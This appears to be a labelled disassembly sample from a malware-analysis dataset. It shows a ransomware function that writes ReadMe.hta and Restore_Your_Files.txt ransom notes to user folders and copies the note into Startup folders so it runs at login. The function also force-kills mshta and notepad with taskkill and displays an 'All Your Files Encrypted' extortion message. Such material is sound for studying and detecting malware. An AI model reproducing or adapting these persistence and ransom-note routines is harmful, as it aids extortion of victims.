Function at 0x41fce0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d89bc
mov eax, dword fs:[0]
push eax
sub esp, 0x718
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x8003
mov dword [ebp - 0x6c4], 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0x70]
call fcn.0043a2d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push eax
push ecx
lea ecx, [ebp - 0x6dc]
call fcn.0043ac60
mov byte [ebp - 4], 1
mov ecx, 1
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x6c4], ecx
jb 0x41fd7d
mov eax, dword [eax]
push 0x4faf5c
push eax
call fcn.004b1e80
add esp, 8
test eax, eax
jne 0x41fdd9
cmp dword [ebp - 0x5c], 8
lea ecx, [ebp - 0x70]
mov eax, dword [ebp - 0x60]
cmovae ecx, dword [ebp - 0x70]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x70]
cmovae ecx, dword [ebp - 0x70]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x6bc]
call fcn.0043ac60
mov dword [ebp - 0x6c0], 3
cmp dword [eax + 0x14], 0x10
jb 0x41fdc7
mov eax, dword [eax]
push 0x4faf5c
push eax
call fcn.004b1e80
add esp, 8
test eax, eax
je 0x41fdeb
push eax
call fcn.004b252a
add esp, 4
mov byte [ebp - 0x6a1], 1
jmp 0x41fdf2
mov byte [ebp - 0x6a1], 0
test byte [ebp - 0x6c0], 2
je 0x41fe50
mov edx, dword [ebp - 0x6a8]
cmp edx, 0x10
jb 0x41fe35
mov ecx, dword [ebp - 0x6bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41fe2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214a6
push edx
push ecx
call fcn.004913bc
add esp, 8
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 0xf
mov byte [ebp - 0x6bc], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x6c8]
cmp edx, 0x10
jb 0x41fe91
mov ecx, dword [ebp - 0x6dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41fe87
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214a6
push edx
push ecx
call fcn.004913bc
add esp, 8
movzx eax, byte [0x5200ef]
mov ecx, 1
cmp byte [ebp - 0x6a1], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd0], xmm0
cmovne eax, ecx
mov ecx, 4
movq qword [ebp - 0xc0], xmm0
mov byte [0x5200ef], al
mov eax, dword [0x520134]
test eax, eax
cmove eax, ecx
lea ecx, [ebp - 0xd0]
mov dword [0x520134], eax
call fcn.00405130
mov byte [ebp - 4], 2
call fcn.0041efb0
cmp byte [0x5200ea], 1
jne 0x41fefd
mov cl, 1
call fcn.0041fb10
xor cl, cl
call fcn.0041fb10
mov edi, 0x51fdd0
sub esp, 0x34
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c4], esp
push edi
call fcn.00431a30
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push edi
call fcn.00431a30
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.0043b220
add esp, 0x30
lea ecx, [ebp - 0xd0]
call fcn.0043b400
add edi, 0x18
cmp edi, 0x520040
jl 0x41ff02
lea ecx, [ebp - 0xd0]
call fcn.00405330
push str.:UsersRestore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x58]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x478]
mov byte [ebp - 4], 4
push 0
push eax
call fcn.004a9100
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x478]
push 0x20
push eax
call fcn.00434290
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x478]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x46c], 6
je 0x420044
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432610
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437be0
test eax, eax
jne 0x420035
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 5
call fcn.0040ad70
cmp dword [ebp - 0x41c], 0
lea esi, [ebp - 0x468]
jne 0x420057
xor esi, esi
jmp 0x42007e
lea ecx, [ebp - 0x468]
call fcn.004380c0
push dword [ebp - 0x41c]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b252a
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x468]
call fcn.00438190
test esi, esi
jne 0x4200bb
mov eax, dword [ebp - 0x478]
lea ecx, [ebp - 0x478]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Restore_Your_Files.txt
mov edx, 0x520088
lea ecx, [ebp - 0x88]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x3c0]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.004a9100
add esp, 8
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x3c0]
push 0x20
push eax
call fcn.00434290
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3b4], 6
je 0x4201ac
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432610
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x180]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x17c]
call fcn.00437be0
test eax, eax
jne 0x42019d
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 8
call fcn.0040ad70
cmp dword [ebp - 0x364], 0
lea esi, [ebp - 0x3b0]
jne 0x4201bf
xor esi, esi
jmp 0x4201e6
lea ecx, [ebp - 0x3b0]
call fcn.004380c0
push dword [ebp - 0x364]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b252a
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x3b0]
call fcn.00438190
test esi, esi
jne 0x420223
mov eax, dword [ebp - 0x3c0]
lea ecx, [ebp - 0x3c0]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xc0
lea eax, [ebp - 0x250]
push 0
push eax
call fcn.004a9100
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x724]
call fcn.0043a2d0
add esp, 0x10
mov byte [ebp - 4], 0xa
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x6fc], 0
xor ecx, ecx
mov dword [ebp - 0x6f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x49
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0xb
call fcn.00438860
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x6f4]
lea ecx, [ebp - 0x250]
push eax
call fcn.00432470
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x420362
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420358
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214ab
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x6f8]
cmp edx, 8
jb 0x4203c3
mov ecx, dword [ebp - 0x70c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4203b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214ab
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6fc], 0
mov dword [ebp - 0x6f8], 7
mov word [ebp - 0x70c], ax
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x710]
cmp edx, 8
jb 0x420424
mov ecx, dword [ebp - 0x724]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42041a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214ab
push edx
push ecx
call fcn.004913bc
add esp, 8
push dword [0x51fd28]
xor eax, eax
mov dword [ebp - 0x714], 0
cmp dword [0x51fd2c], 8
lea ecx, [ebp - 0x240]
mov edx, 0x51fd18
mov dword [ebp - 0x710], 7
cmovae edx, dword [0x51fd18]
mov word [ebp - 0x724], ax
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x238]
call fcn.00437be0
test eax, eax
jne 0x4204a2
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 0x250]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x12
call fcn.00438860
mov dword [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x4205a9
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42059f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214b0
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x42060a
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420600
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214b0
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x6a0]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9100
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00432720
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x6a0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x694], 6
je 0x4206f9
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x190]
call fcn.00432470
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437be0
test eax, eax
jne 0x4206ea
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x16
call fcn.004214d0
lea ecx, [ebp - 0x690]
call fcn.00437be0
test eax, eax
jne 0x420733
mov eax, dword [ebp - 0x6a0]
lea ecx, [ebp - 0x6a0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x13
push str.DesktopReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x19
call fcn.00438860
mov dword [ebp - 0x18], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x42083a
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420830
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214b5
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x42089b
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420891
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214b5
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x5e8]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00432720
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x5dc], 6
je 0x42098a
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x190]
call fcn.00432470
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437be0
test eax, eax
jne 0x42097b
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x1d
call fcn.004214d0
lea ecx, [ebp - 0x5d8]
call fcn.00437be0
test eax, eax
jne 0x4209c4
mov eax, dword [ebp - 0x5e8]
lea ecx, [ebp - 0x5e8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x6dc]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, 0x51fc48
cmp dword [0x51fc5c], 8
push dword [0x51fc58]
cmovae ecx, dword [0x51fc48]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x27
push str.Start_MenuProgramsStartupReadMe.hta
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x20
call fcn.00438860
mov dword [ebp - 0x90], 0
xor ecx, ecx
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x6a8]
cmp edx, 8
jb 0x420ad7
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420acd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214ba
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x6c8]
cmp edx, 8
jb 0x420b38
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420b2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214ba
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x6cc], 0
push 0xb8
push eax
mov word [ebp - 0x6dc], ax
lea eax, [ebp - 0x530]
push eax
mov dword [ebp - 0x6c8], 7
call fcn.004a9100
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x530]
call fcn.00432720
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x530]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x524], 6
je 0x420c2d
push 0xc0
lea eax, [ebp - 0x190]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x190]
call fcn.00432470
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x180]
cmp dword [0x51fd2c], 8
mov edx, 0x51fd18
push dword [0x51fd28]
cmovae edx, dword [0x51fd18]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x178]
call fcn.00437be0
test eax, eax
jne 0x420c1e
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x24
call fcn.004214d0
lea ecx, [ebp - 0x520]
call fcn.00437be0
test eax, eax
jne 0x420c67
mov eax, dword [ebp - 0x530]
lea ecx, [ebp - 0x530]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
cmp byte [0x5200f0], 1
jne 0x420ca8
push str.taskkill__im_mshta.exe__f
call fcn.004b5a02
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x28]
add esp, 4
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
jmp 0x420ce4
push str.taskkill__im_notepad.exe__f
call fcn.004b5a02
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x88]
add esp, 4
cmp dword [ebp - 0x74], 8
cmovae eax, dword [ebp - 0x88]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push 0xa
push 0
push 0
push eax
push 0
push 0
call esi
push str.:UsersReadMe.hta
mov edx, 0x520088
lea ecx, [ebp - 0xb8]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0x26
push 0
push eax
call fcn.004a9100
add esp, 8
lea eax, [ebp - 0xb8]
lea ecx, [ebp - 0x308]
push 0x20
push eax
call fcn.00434290
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2fc], 6
je 0x421039
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x420d62
xor esi, esi
jmp 0x420d89
lea ecx, [ebp - 0x2f8]
call fcn.004380c0
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b252a
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00438190
test esi, esi
jne 0x420dc6
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push 0xb0
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x180]
call fcn.00432610
push 0x51fc30
mov edx, str.All_Your_Files_Encrypted_To_Decryption_Email_Us_:
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x6dc]
call fcn.0043a570
add esp, 4
push 4
push str._or
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.00438860
mov dword [ebp - 0x6ac], 0
xor ecx, ecx
mov dword [ebp - 0x6a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x6bc]
cmp dword [0x51fc2c], 8
mov eax, 0x51fc18
push dword [0x51fc28]
cmovae eax, dword [0x51fc18]
push eax
call fcn.00438860
mov dword [ebp - 0x6e4], 0
xor ecx, ecx
mov dword [ebp - 0x6e0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x6f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2b
lea edx, [ebp - 0x6f4]
cmp dword [ebp - 0x6e0], 8
lea ecx, [ebp - 0x180]
push dword [ebp - 0x6e4]
cmovae edx, dword [ebp - 0x6f4]
call fcn.0043f960
mov byte [ebp - 4], 0x2a
add esp, 4
mov edx, dword [ebp - 0x6e0]
cmp edx, 8
jb 0x420f2e
mov ecx, dword [ebp - 0x6f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420f24
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214bf
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x6a8]
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
cmp edx, 8
jb 0x420f8f
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420f85
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214bf
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0x6c8]
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], ax
cmp edx, 8
jb 0x420ff0
mov ecx, dword [ebp - 0x6dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x420fe6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4214bf
push edx
push ecx
call fcn.004913bc
add esp, 8
lea ecx, [ebp - 0x17c]
call fcn.00437be0
test eax, eax
jne 0x42102a
mov eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x180]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x27
call fcn.0040ad70
cmp dword [ebp - 0x2ac], 0
lea esi, [ebp - 0x2f8]
jne 0x42104c
xor esi, esi
jmp 0x421073
lea ecx, [ebp - 0x2f8]
call fcn.004380c0
push dword [ebp - 0x2ac]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b252a
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x2f8]
call fcn.00438190
test esi, esi
jne 0x4210b0
mov eax, dword [ebp - 0x308]
lea ecx, [ebp - 0x308]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x308]
mov eax, dword [eax + 4]
